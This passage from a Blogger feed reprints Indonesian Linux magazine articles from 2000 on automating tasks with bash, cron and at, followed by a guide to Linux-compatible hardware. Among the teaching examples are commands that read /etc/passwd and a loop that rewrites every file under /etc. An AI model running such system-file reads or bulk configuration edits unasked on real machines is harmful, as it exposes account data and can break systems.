dua jam pada hari kerja (Senin-Jumat), pesan akan disampaikan melalui syslog.&lt;br /&gt;• 0 3 * * * (cd /home/priyadi/htdocs/lt ; wget http://www.linuxtoday.com)&lt;br /&gt;(semua dalam satu baris)&lt;br /&gt;mendownload halaman muka dari LinuxToday ke dalam direktori /home/priyadi/htdocs/lt setiap jam 3 pagi.&lt;br /&gt;Menjalankan Perintah di Masa Yang Akan Datang&lt;br /&gt;Jika cron menjalankan sebuah perintah secara rutin, maka at menjalankan perintah hanya satu kali. Perintah yang sering digunakan untuk menjalankan at adalah sebagai berikut:&lt;br /&gt;echo "perintah" | at waktu&lt;br /&gt;at akan membaca perintah dari standard input, dan menjalankannya pada waktu yang telah ditentukan. Seperti halnya crond, untuk menjalankan at, anda harus mengaktifkan daemon atd. Cara pengaktifannya mirip dengan cara mengaktifkan crond di atas. Perintah yang dijalankan melalui at akan memiliki lingkungan yang serupa dengan lingkungan pada saat anda menjalankan at.&lt;br /&gt;at juga memiliki beberapa program pembantu:&lt;br /&gt;• atq, untuk melihat perintah-perintah yang akan dikerjakan oleh at&lt;br /&gt;• atrm, untuk menghapus perintah-perintah tersebut, gunakan nomor perintah seperti yang tercantum di perintah atq&lt;br /&gt;Beberapa contoh penggunaan at:&lt;br /&gt;• echo "wget -t0 -c ftp://updates.redhat.com/6.0/i386/*" | at 0200&lt;br /&gt;mendownload update dari RedHat Linux 6.0 pada jam 2 malam&lt;br /&gt;• echo "cat /boot/vmlinuz &gt; /dev/dsp" | at 0500&lt;br /&gt;membangunkan anda pada jam 5 pagi. cat /boot/vmlinuz &gt; /dev/dsp akan mengirimkan kernel Linux langsung ke kartu suara anda, tentunya anda juga dapat menggantikan kernel Linux dengan file suara yang lebih enak didengar :-)&lt;br /&gt;• echo "killall pppd" | at now+15minutes&lt;br /&gt;akan memutuskan hubungan Internet anda 15 menit kemudian.&lt;br /&gt;• echo "halt" | at now+2hours&lt;br /&gt;akan mematikan komputer anda dua jam kemudian (tentunya jika komputer anda memiliki fasilitas ATX)&lt;br /&gt;Memilih Jalan untuk Menyelesaikan Pekerjaan Anda&lt;br /&gt;Walaupun Linux memiliki antarmuka grafis yang menarik, namun belum tentu antarmuka grafis akan menyelesaikan pekerjaan lebih cepat dan efisien dibandingkan antarmuka teks. Dengan antarmuka grafis, sebuah pekerjaan akan lebih mudah dipelajari, dan akan lebih mudah dikerjakan, jika fasilitas untuk menyelesaikan pekerjaan anda tersedia. Namun jika tidak tersedia, anda tidak memiliki pilihan apa-apa. Antarmuka teks lebih sulit dipelajari dibandingkan dengan antarmuka grafis, namun memiliki kelebihan dalam hal otomatisasi, anda dapat menyingkat pekerjaan-pekerjaan yang berulang-ulang, dan menginstruksikan komputer untuk mengerjakan pekerjaan-pekerjaan tersebut. Hal ini tentunya akan menghemat sumber daya, dan memaksimalkan pekerjaan komputer, sehingga dapat menekan biaya operasional. Sebuah server bahkan hampir tidak perlu mendapat perhatian manusia jika segalanya telah diotomatisasi.&lt;br /&gt;Linux mendukung kedua antarmuka tersebut, grafis dan teks, sehingga anda dapat memanfaatkan antarmuka yang lebih menguntungkan untuk menyelesaikan pekerjaan-pekerjaan anda. Anda dapat menggunakan komputer dengan salah satu dari antarmuka tersebut, namun anda dapat menggunakan komputer dengan lebih efisien dan efektif jika anda menggunakan keduanya.&lt;br /&gt;Mungkin hal yang lebih sulit adalah mengidentifikasi pekerjaan-pekerjaan yang dapat diotomatisasi dalam antarmuka teks karena hampir semua dari kita telah terbiasa oleh antarmuka grafis. Mengotomatisasi pekerjaan adalah hal membutuhkan sumber daya (waktu) yang tidak sedikit, namun otomatisasi akan menghemat waktu anda dalam jangka panjang. Hal yang harus anda lakukan adalah mencari pekerjaan-pekerjaan yang dilakukan secara berulang kali, serta tidak membutuhkan pemikiran manusia. Pekerjaan-pekerjaan seperti membackup file, mendownload email, serta menghapus file log adalah kandidat kuat untuk diotomatisasi karena tidak membutuhkan pemikiran manusia. Sedangkan pekerjaan-pekerjaan seperti membuat surat atau laporan serta membuat program adalah hal-hal yang membutuhkan pemikiran serta perasaan manusia, dan tidak dapat dilakukan sepenuhnya oleh komputer.&lt;br /&gt;Yang diperlukan untuk melakukan otomatisasi hanyalah kreativitas, karena di dalam kebanyakan distribusi Linux, semua program untuk keperluan tersebut telah disediakan.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-2985738702674996267?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/2985738702674996267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=2985738702674996267&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/2985738702674996267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/2985738702674996267'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/07/otomatisasi-dengan-skrip-shell-bagian-2.html' title='Otomatisasi dengan skrip shell (bagian 2)'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-1966430592813200429</id><published>2007-07-28T13:48:00.000+07:00</published><updated>2007-07-28T13:50:48.808+07:00</updated><title type='text'>Otomatisasi dengan skrip shell (bagian 1)</title><content type='html'>Priyadi Iman Nurcahyo &lt;http://www.priyadi.id.org&gt;&lt;br /&gt;Majalah InfoKomputer &lt;http://www.infokomputer.co.id&gt; &lt;br /&gt;Juli 2000 &lt;br /&gt; &lt;br /&gt;Anda dapat menggunakan Linux tanpa menyentuh antarmuka command line, namun dengan command line anda dapat melakukan banyak hal yang tidak mungkin dilakukan di antarmuka grafis (GUI). Anda pun dapat mengotomatisasi pekerjaan-pekerjaan yang pada kondisi biasa memerlukan anda untuk berhadapan langsung di depan komputer.&lt;br /&gt;Di saat Linux mendapatkan tampilan yang menarik dan semakin mudah untuk digunakan, namun perintah-perintah command line tetap digemari oleh penggunanya karena banyak sekali pekerjaan yang akan jauh lebih efisien dan efektif jika dikerjakan dengan command line.&lt;br /&gt;Kelebihan lainnya dari perintah command line adalah mudah untuk diotomatisasi, misalnya anda dapat menjalankannya pada saat komputer anda booting, pada saat login, atau pada waktu tertentu. Selain itu perintah command line akan lebih berguna jika anda perlu untuk mengakses komputer lain yang jaraknya jauh, anda tidak akan menggunakan tampilan grafis untuk mengakses server anda yang berada di Amerika, misalnya.&lt;br /&gt;Vendor sistem operasi lain sering menyebarkan isu bahwa command line adalah salah satu kelemahan Linux (dan sistem operasi UNIX lain pada umumnya) karena sulit untuk digunakan dan tidak user friendly. Namun jika anda telah menguasai command line di Linux, anda akan mendapatkan bahwa command line bukanlah kelemahan, melainkan kelebihan dari Linux. Isu tersebut hanyalah trik-trik marketing dari pihak-pihak yang tidak menginginkan kesuksesan Linux (dan UNIX lainnya).&lt;br /&gt;Bagi anda yang telah berpengalaman pada command line pada sistem operasi DOS atau Windows (command.com pada DOS dan Windows95/98 atau cmd.exe pada Windows NT), anda tentunya sering menemui kebuntuan dalam memecahkan masalah. Anda akan menemui bahwa command line pada Linux lebih fleksibel dan mudah untuk digunakan.&lt;br /&gt;Bash, shell standard pada Linux&lt;br /&gt;Lingkungan command line yang paling umum ditemukan di sistem Linux adalah Bourne Again Shell (bash). Bash dibuat oleh Brian Fox dari Free Software Foundation. Bash merupakan pengembangan dari Bourne Shell (sh) dan Korn Shell (ksh) dari sistem UNIX, sehingga bash cukup kompatibel dengan skrip-skrip yang ditemukan di sistem UNIX lainnya. Selain bash, Linux juga memiliki beberapa shell lainnya seperti tcsh, ash dan zsh. Artikel ini hanya akan membahas shell yang paling umum digunakan, yaitu bash.&lt;br /&gt;Shell adalah software yang memberikan interaksi pada pengguna komputer, anda menggunakan shell jika anda melakukan login pada console Linux, atau membuka xterm pada X Window System.&lt;br /&gt;Membuat skrip shell&lt;br /&gt;Skrip shell adalah kumpulan perintah-perintah yang akan dieksekusi. Skrip shell mirip dengan batch file pada sistem DOS dan Windows. Selain itu skrip shell juga memiliki konstruksi seperti halnya bahasa pemrograman pada umumnya, misalnya: while, for, switch, if, fungsi dan lain-lain.&lt;br /&gt;Anda membuat skrip shell dengan menggunakan editor teks seperti halnya vi, pico, gedit, joe atau emacs. Pilihlah teks editor yang paling anda sukai. Misalnya anda menggunakan pico, gunakan perintah seperti ini untuk membuat skrip shell yang bernama hello:&lt;br /&gt;$ pico hello&lt;br /&gt;Setelah itu anda buatlah isi dari file hello tersebut, misalnya:&lt;br /&gt;echo hello world&lt;br /&gt;Kemudian simpanlah file tersebut dan keluar dari editor teks yang anda gunakan. Untuk membuat skrip shell hello tersebut dapat dijalankan, gunakan perintah:&lt;br /&gt;$ chmod +x hello&lt;br /&gt;Perintah tersebut akan membuat file hello menjadi dapat dieksekusi. Anda dapat menjalankannya dengan perintah seperti:&lt;br /&gt;$ ./hello&lt;br /&gt;Jika berhasil, anda akan mendapatkan output:&lt;br /&gt;hello world&lt;br /&gt;Pipe dan Redireksi&lt;br /&gt;Banyak perintah di Linux yang sangat sederhana, biasanya mendapatkan inputnya dari standard input atau parameter dan mengeluarkan outputnya ke standard output. Perintah-perintah ini tidak berguna jika digunakan sendirian. Namun beberapa dari perintah-perintah tersebut dapat dirangkaikan untuk mengerjakan tugas yang spesifik.&lt;br /&gt;Beberapa contoh perintah-perintah tersebut adalah:&lt;br /&gt;• cat: membaca isi parameter-parameternya, kemudian mengeluarkannya ke standard output. Contoh: cat /etc/passwd akan menampilkan isi dari file /etc/passwd&lt;br /&gt;• wc: membaca standard input kemudian memberikan output jumlah karakter, kata dan baris pada standard output.&lt;br /&gt;• find: mencari file yang sesuai kriteria pada parameternya, kemudian memberikan outputnya ke standard output. Contoh: find -type d akan menampilkan daftar direktori di bawah direktori kerja.&lt;br /&gt;• sed: membaca standard input, mengeditnya sesuai dengan perintah pada parameternya, kemudian memberikan outputnya ke standard output. Contoh: sed -e s/lama/baru/g akan mengganti semua kata lama pada standard input menjadi baru&lt;br /&gt;• grep: membaca standard input, kemudian menampilkan baris yang berisi string pada parameter grep. Contoh: grep root akan menampilkan baris pada standard input yang berisi kata root.&lt;br /&gt;Perintah-perintah tersebut dapat kita rangkaikan untuk memproses data, sebagai contoh:&lt;br /&gt;• cat /etc/passwd | grep rina, akan menampilkan baris-baris yang berisi string 'rina' dari file /etc/passwd&lt;br /&gt;• find | grep -i mp3, akan menampilkan seluruh file MP3 pada direktori kerja dan direktori di bawahnya&lt;br /&gt;• find /usr/src/linux/ | grep "\.[chS]$" | wc, menampilkan jumlah file yang berakhiran c, h dan S pada kode source Linux.&lt;br /&gt;• find /usr/src/linux/ | grep "\.[chS]$" | xargs cat | wc, menampilkan jumlah karakter, kata dan baris pada seluruh file yang herakhiran c, h dan S pada kode source Linux.&lt;br /&gt;Perintah-perintah di atas akan menampilkan outputnya pada terminal, anda pun dapat menampilkan output pada sebuah file, sebagai contoh:&lt;br /&gt;• find /var/mp3/ | grep -i mp3 &gt; semua.m3u, akan membuat file playlist MP3 semua.m3u yang berisi seluruh file MP3 di direktori /var/mp3/&lt;br /&gt;• cat source.c | sed s/execv/execvp/g &gt; source_baru.c, mengganti seluruh string execv menjadi execvp pada file source.c, kemudian mengoutputkannya ke file source_baru.c&lt;br /&gt;Anda pun dapat mendapatkan input dari file, jadi beberapa perintah di atas dapat kita sederhanakan menjadi:&lt;br /&gt;• grep rina &lt; /etc/passwd, hasilnya sama dengan cat /etc/passwd | grep rina&lt;br /&gt;• sed s/execv/execvp/g &lt; source.c &gt; source_baru.c, hasilnya sama dengan cat source.c | sed s/execv/execvp/g &gt; source_baru.c&lt;br /&gt;Dapat kita lihat, dari perintah-perintah yang kelihatannya tidak berguna itu, dapat dirangkai menjadi banyak sekali kombinasi untuk mengerjakan tugas-tugas yang beraneka ragam. Dokumentasi lengkap dari masing-masing program tersebut tersedia pada halaman man atau info program yang bersangkutan. Pipe dan redireksi akan sangat berguna jika kita akan membuat skrip shell yang akan mengotomatisasi pekerjaan kita sehari-hari.&lt;br /&gt;Substitusi Perintah&lt;br /&gt;Anda dapat melakukan substitusi suatu perintah dengan outputnya pada bash. Perintah yang berada di antara tanda kutip terbalik (`) akan digantikan dengan output dari perintah tersebut.&lt;br /&gt;Sebagai contoh:&lt;br /&gt;• cat `find -type f | grep "\.h$"` | wc, pada perintah ini, bagian find -type f | grep "\.h$" akan digantikan dengan output dari perintah tersebut, yaitu daftar file yang berakhiran h pada direktori kerja dan direktori di bawahnya. Jadi misalnya perintah tersebut menemukan file-file stdio.h, unistd.h dan stdlib.h, maka perintah tersebut akan menjadi cat stdio.h unistd.h stdlib.h | wc, yang akan menampilkan jumlah karakter, kata dan baris pada ketiga file header tersebut.&lt;br /&gt;• cp `find -type f | grep -i mp3` /var/mp3, perintah find -type f | grep -i mp3 disini akan mencari file MP3 pada direktori kerja dan direktori di bawahnya, sehingga perintah tersebut akan men-copy seluruh file MP3 pada direktori kerja dan direktori di bawahnya ke direktori /var/mp3.&lt;br /&gt;Namun anda harus hati-hati, pada kedua perintah di atas jika output dari perintah yang akan disubstitusi tersebut terlalu banyak, maka kemungkinan akan terjadi pesan kesalahan. Sebabnya adalah ada jumlah parameter maksimum yang dapat diberikan pada satu program (dalam hal ini adalah cat dan cp). Untuk mengatasi hal tersebut anda dapat menggunakan xargs atau konstruksi for di bawah.&lt;br /&gt;Dengan xargs, perintah pertama di atas dapat diganti menjadi:&lt;br /&gt;• find -type f | grep "\.h$" | xargs cat | wc, pada perintah ini xargs akan menjalankan perintah cat untuk masing-masing file pada standard input-nya.&lt;br /&gt;Perintah kedua hanya dapat dilakukan dengan konstruksi for.&lt;br /&gt;Konstruksi 'for'&lt;br /&gt;Bash memiliki konstruksi for, dengan sintaks seperti:&lt;br /&gt;for A in linus richard eric&lt;br /&gt;do&lt;br /&gt;    echo $A&lt;br /&gt;done&lt;br /&gt;Perintah di atas akan memberikan output seperti ini:&lt;br /&gt;linus&lt;br /&gt;richard&lt;br /&gt;eric&lt;br /&gt;Secara umum konstruksi for akan mengeksekusi barisan perintah di antara do dan done secara berulang-ulang untuk setiap parameter (dalam hal ini adalah linus, richard dan eric), pada perintah di atas, parameter akan disimpan di variabel $A.&lt;br /&gt;Jadi konstruksi di atas akan mengeksekusi perintah-perintah seperti ini:&lt;br /&gt;echo linus&lt;br /&gt;echo richard&lt;br /&gt;echo eric&lt;br /&gt;Beberapa perintah di bash dapat disatukan dalam satu baris perintah dengan menggunakan titik koma (;), jadi perintah di atas dapat disatukan dalam satu baris menjadi: for A in linus richard eric ; do echo $A ; done&lt;br /&gt;Beberapa contoh konstruksi for:&lt;br /&gt;• for A in `find -type f | grep -i mp3` ; do cp $A /var/mp3 ; done, perintah ini memiliki efek yang sama seperti contoh kedua pada substitusi perintah di atas, namun tidak ada batasan pada jumlah file yang ditemukan.&lt;br /&gt;• for A in `cat semua.m3u` ; do mpg123 $A ; done, perintah ini akan memainkan file MP3 yang terdapat di dalam playlist semua.m3u dengan menggunakan player mpg123.&lt;br /&gt;• for A in `find /etc/ -type f` ; do sed -e "s/10\.0\.0\.1/192.168.0.1/g" &lt; $A &gt; /tmp/file.tmp ; cp -f /tmp/file.tmp $A ; done, perintah ini akan mengganti string "10.0.0.1" ke "192.168.0.1" pada seluruh file di dalam direktori /etc/.&lt;br /&gt;• cd /home/ ; for A in * ; do (cd /var/backup ; tar cfzp $A.tar.gz /home/$A; chown $A $A.tar.gz) ; done, perintah ini akan membuat file backup dari setiap home directory pada /home, dan mengganti kepemilikan file backup tersebut menjadi milik user yang bersangkutan. Perintah pada dalam kurung di atas akan dieksekusi di dalam sub shell, gunanya supaya environment (direktori kerja, variabel environment dan sebagainya) tetap sama untuk setiap perintah yang dieksekusi oleh for.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-1966430592813200429?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/1966430592813200429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=1966430592813200429&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/1966430592813200429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/1966430592813200429'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/07/otomatisasi-dengan-skrip-shell-bagian-1.html' title='Otomatisasi dengan skrip shell (bagian 1)'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-519014757162196320</id><published>2007-07-28T13:46:00.000+07:00</published><updated>2007-07-28T13:48:39.764+07:00</updated><title type='text'>Pedoman memilih Hardware dengan Linux</title><content type='html'>Priyadi Iman Nurcahyo &lt;http://www.priyadi.id.org&gt;&lt;br /&gt;Majalah InfoKomputer &lt;http://www.infokomputer.co.id&gt; &lt;br /&gt;Mei 2000 &lt;br /&gt; &lt;br /&gt;Sebagai pemakai komputer, anda tentunya menginginkan hardware yang didukung oleh sistem operasi yang anda gunakan. Karena tanpa dukungan software yang memadai, investasi hardware anda akan menjadi tidak berguna. Artikel ini akan membahas mengenai hardware-hardware yang didukung oleh sistem operasi Linux dengan menitikberatkan pembahasan pada platform PC berprosesor Intel dan kompatibel.&lt;br /&gt;Pada dasarnya ada beberapa pedoman dasar untuk memilih hardware untuk digunakan pada platform Linux:&lt;br /&gt;• Pilihlah hardware yang spesifikasi teknisnya diketahui. Driver akan lebih mudah dibuat jika spesifikasi teknisnya diketahui. Walaupun demikian, cukup banyak hardware yang drivernya  dibuat dengan metoda reverse engineering karena pembuat hardware tidak mau memberikan spesifikasi teknisnya.&lt;br /&gt;• Driver yang Opensource berkualitas lebih baik daripada yang closed source. Terkadang, pembuat hardware memberikan driver closed source untuk hardware yang bersangkutan. Driver closed source terkadang hanya berlaku untuk kernel versi tertentu, hal tersebut dapat memaksa anda untuk menggunakan kernel Linux versi tertentu saja. Masalahnya akan bertambah rumit jika anda menggunakan dua atau lebih driver closed source.&lt;br /&gt;• Gunakan hardware yang drivernya ada pada source kernel Linux. Jika sebuah driver sudah terdapat di dalam source kernel Linux, artinya Linus Torvalds dan pemrogram kernel Linux lainnya sudah mempercayai kehandalan driver tersebut. Driver yang terdapat pada source kernel Linux sudah pasti adalah Opensource.&lt;br /&gt;Berikut ini adalah pedoman singkat untuk memilih jenis hardware tertentu yang didukung Linux dengan baik. Linux berkembang dalam kecepatan yang tinggi, jadi ada kemungkinan tulisan di artikel ini sudah tidak berlaku dalam beberapa bulan ke depan, untuk itu penulis juga akan memberikan URL-URL untuk mendapatkan informasi terbaru.&lt;br /&gt;Kartu grafis&lt;br /&gt;Hampir semua kartu video yang populer di pasaran didukung oleh XFree86 (http://www.xfree86.org), di antaranya adalah:&lt;br /&gt;• Seluruh kartu grafis 3DFX seperti Voodoo Banshee, Voodoo 1, 2 dan 3 didukung penuh oleh Linux. 3DFX adalah salah satu pembuat hardware yang menyatakan dukungannya untuk Linux.&lt;br /&gt;• Kartu grafis Matrox yang didukung oleh Linux adalah: Millenium I, Millenium II, Mystique, G100, G200 serta G400. Dukungan 3D Matrox juga cukup baik.&lt;br /&gt;• Seluruh kartu grafis yang berchipset NVIDIA, di antaranya adalah: TNT, TNT2, TNT2 Ultra, TNT2 Vanta, dan GeForce. Namun NVIDIA menyatakan hanya akan memberikan driver tanpa source untuk DRI (Direct Rendering Interface) pada XFree86 4.0. Hal tersebut akan menyulitkan untuk menjalankan aplikasi-aplikasi 3D seperti game Quake 3 Arena dan sejenisnya.&lt;br /&gt;• Kartu grafis Intel i740 dan i840 didukung oleh XFree86. Namun i840 membutuhkan driver kernel tambahan, kemungkinan besar sudah akan ada pada kernel versi 2.2.15.&lt;br /&gt;• Chipset Neomagic NeoMagic NM2070, NM2090, NM2093, NM2097, NM2160 dan NM2200 didukung oleh XFree86, chipset ini umumnya digunakan oleh beberapa jenis komputer notebook.&lt;br /&gt;• Hampir seluruh chipset S3 didukung oleh XFree86, seperti halnya: S3 8xx dan 9xx, Trio32, seluruh jenis Trio64 dan Aurora64, seluruh jenis VIRGE dan Savage.&lt;br /&gt;• Seluruh chipset ATI Mach 8, Mach 32, Mach 64 serta Rage128 didukung oleh XFree86.&lt;br /&gt;Di atas hanyalah kartu video yang populer di pasaran saat ini. Untuk daftar lengkapnya silakan lihat http://www.xfree86.org/4.0/Status.html.&lt;br /&gt;Dapat dilihat bahwa hampir seluruh kartu grafis yang tersedia di pasaran didukung oleh XFree86. Namun untuk dapat menikmati game 3D seperti Quake 3 Arena dianjurkan untuk memiliki kartu grafis buatan 3DFX atau Matrox.&lt;br /&gt;Kartu Suara&lt;br /&gt;Kebanyakan kartu suara yang beredar di pasaran telah didukung oleh Linux dengan beberapa pengecualian. Hindari produk-produk yang berchipset Yamaha terutama YMF 720, YMF 740 dan YMF 744, Yamaha telah menolak untuk mengeluarkan spesifikasi teknis yang diperlukan untuk membuat driver. Selain itu, kartu suara buatan Aureal juga belum dibuat drivernya. Kartu suara lainnya yang belum ada drivernya adalah: IBM MWave, Yamaha berbasis PCI, Trident 9753 Wave dan USB Sound. Khusus untuk USB Sound seperti buatan Philips serta Altec Lansing, pembuatan driver untuk hardware tersebut baru dimulai pada awal tahun ini.&lt;br /&gt;Kartu suara populer yang didukung oleh Linux antara lain adalah:&lt;br /&gt;• Seluruh kartu suara buatan Creative Labs seperti SoundBlaster Live!, Live! Value dan Live! Platinum, dan juga seluruh generasi sebelumnya dari SoundBlaster.&lt;br /&gt;• Seluruh kartu suara ESS Technologies dan Ensoniq, yang berchipset ESS 1xxx dan Maestro.&lt;br /&gt;• S3 Sonicvibes PCI&lt;br /&gt;• Logitech Soundman 16, Soundman Wave dan Soundman Games.&lt;br /&gt;• AcerMagic S23&lt;br /&gt;Daftar lengkap kartu suara yang didukung oleh Linux dapat dilihat pada http://www.linux.org.uk/OSS/ (OSS/Free, untuk kernel sampai 2.4), dan http://www.alsa-project.org/~goemon/ (ALSA, untuk kernel 2.5 dan selanjutnya). Anda juga dapat menggunakan driver komersil OSS jika anda menggunakan hardware yang spesifikasinya tidak terbuka, silakan lihat http://www.opensound.org.&lt;br /&gt;Media Penyimpanan&lt;br /&gt;Seluruh jenis harddisk dan CDROM dengan interface IDE/ATA/ATAPI atau SCSI didukung oleh Linux, termasuk interface IDE dengan 4 drive pada satu port IDE. Linux juga mendukung media penyimpanan yang tidak umum seperti protokol IDE melalui port paralel seperti buatan ATEN, Microsolutions, DataStor, FIT, Shuttle, Freecom, dan OnSpec.&lt;br /&gt;Linux juga mendukung interface CDROM lama yang bukan IDE atau SCSI seperti Sony, Aztech, Mitsumi dan lainnya.&lt;br /&gt;IOMEGA Zip Drive dan Jaz Drive juga didukung oleh Linux, baik versi baru ataupun versi lama. Versi paralel port, IDE maupun SCSI didukung penuh oleh Linux. Untuk keterangan lebih lanjut mengenai piranti penyimpanan yang menggunakan port paralel, silakan lihat http://www.torque.net/parport/paride.html.&lt;br /&gt;Hampir seluruh CD Writer baik CD-R maupun CD-RW yang tersedia di pasaran didukung oleh Linux seperti buatan Plextor, Sony, Creative, Iomega, Philips, Panasonic, Pinnacle, Samsung, Sanyo, serta Yamaha, baik yang memiliki interface paralel port, SCSI maupun IDE. Untuk daftar lengkap mengenai CD writer yang didukung oleh Linux silakan lihat http://www.guug.de:8080/cgi-bin/winni/lsc.pl.&lt;br /&gt;Device Input&lt;br /&gt;Hampir seluruh device input yang sering kita gunakan sehari-hari didukung oleh Linux, di antaranya adalah: seluruh jenis keyboard, alat penunjuk seperti mouse, trackball, touchpad, trackpoint serta tablet yang memiliki interface PS/2, serial maupun Busmouse didukung oleh Linux.&lt;br /&gt;Selain itu Linux juga mendukung hampir seluruh tipe Joystick seperti joystick standard, Gravis, Logitech Wingman, Microsoft SideWinder, Thrustmaster, serta joystick/gamepad dari NES, SNES, Playstation, dan Sega.&lt;br /&gt;Pada saat ini device input dengan interface USB yang didukung Linux hanyalah keyboard dan mouse. Dukungan penuh untuk piranti USB lainnya baru akan muncul pada kernel versi 2.4.&lt;br /&gt;Jaringan&lt;br /&gt;Linux mendukung hampir semua kartu jaringan ethernet, fast ethernet serta gigabit ethernet. Kemungkinan besar, produk yang anda beli di pasaran sudah didukung oleh Linux. Beberapa jenis yang TIDAK didukung Linux adalah: Intel EtherExpress Pro 100A, Matrox Multiport PCI Switch, Essential Communication Gigabit Ethernet, Sun Gigabit Ethernet. Kartu Intel Gigabit Ethernet akan didukung oleh Intel dengan driver yang closed source ( http://support.intel.com/support/network/adapter/1000/software.htm).&lt;br /&gt;Sebagian besar kartu jaringan ethernet sudah didukung Linux. Yang harus diperhatikan adalah beberapa merk populer yang drivernya belum dimasukkan ke source kernel Linux: D-Link DFE530-TX (bukan DE530) menggunakan driver VIA Rhine, dan Compex RL100ATX menggunakan driver Winbond 840. Keduanya bisa didownload dari http://cesdis.gsfc.nasa.gov/linux/drivers/ethercard.html.&lt;br /&gt;Daftar lengkap driver-driver ethernet yang didukung Linux dapat dilihat dari homepage NASA di http://cesdis.gsfc.nasa.gov/linux/drivers/.&lt;br /&gt;Printer&lt;br /&gt;Sebagian besar printer yang umum di pasaran telah didukung oleh Linux. Di bawah ini adalah beberapa printer HP, Canon dan Epson yang dapat digunakan bersama Linux:&lt;br /&gt;• HP DeskJet 400, 420C, 510, 520, 540, 550C, 560C, 600, 610C, 610CL, 612C, 660C, 670C, 672C, 682C, 690C, 692C, 694C, 697C, 812C, 850C, 855C, 890C, LaserJet 4 Plus, 4050N, 4L, 4M, 4ML, 4P, 5, 5000, 5L, 5M, 5MP, 5P, LaserJet 6, 6MP, 8000, 8100. Yang TIDAK didukung atau memiliki dukungan yang buruk adalah: DeskJet 1000C, 710C, 712C, 720C, 722C, 820C, LaserJet 6L.&lt;br /&gt;• Canon BJ-10e, BJ-20, BJ-200, BJ-330, BJ-5, BJC-210, BJC-250, BJC-4000, BJC-4100, BJC-4200, BJC-4300, BJC-4400, BJC-600, BJC-610, BJC-620, BJC-70, BJC-800, GP335/405, LBP-1260, LBP-1760, LBP-4+, LBP-4U, LBP-8A1, LIPS III, LIPS-III, bjc5000. Yang TIDAK didukung atau memiliki dukungan yang buruk adalah: BJC-4550, BJC-6000, BJC-7000, BJC-7100, BJC-5000, BJC-5100, LBP-430, LBP-460, LBP-660.&lt;br /&gt;• Epson Stylus Color 1520, 400, 440, 460, 500, 600, 640, 800, 850, I, II, IIs, PRO, XL. Yang TIDAK didukung atau memiliki dukungan yang buruk adalah: Stylus Color 300, 900, 700, 750, 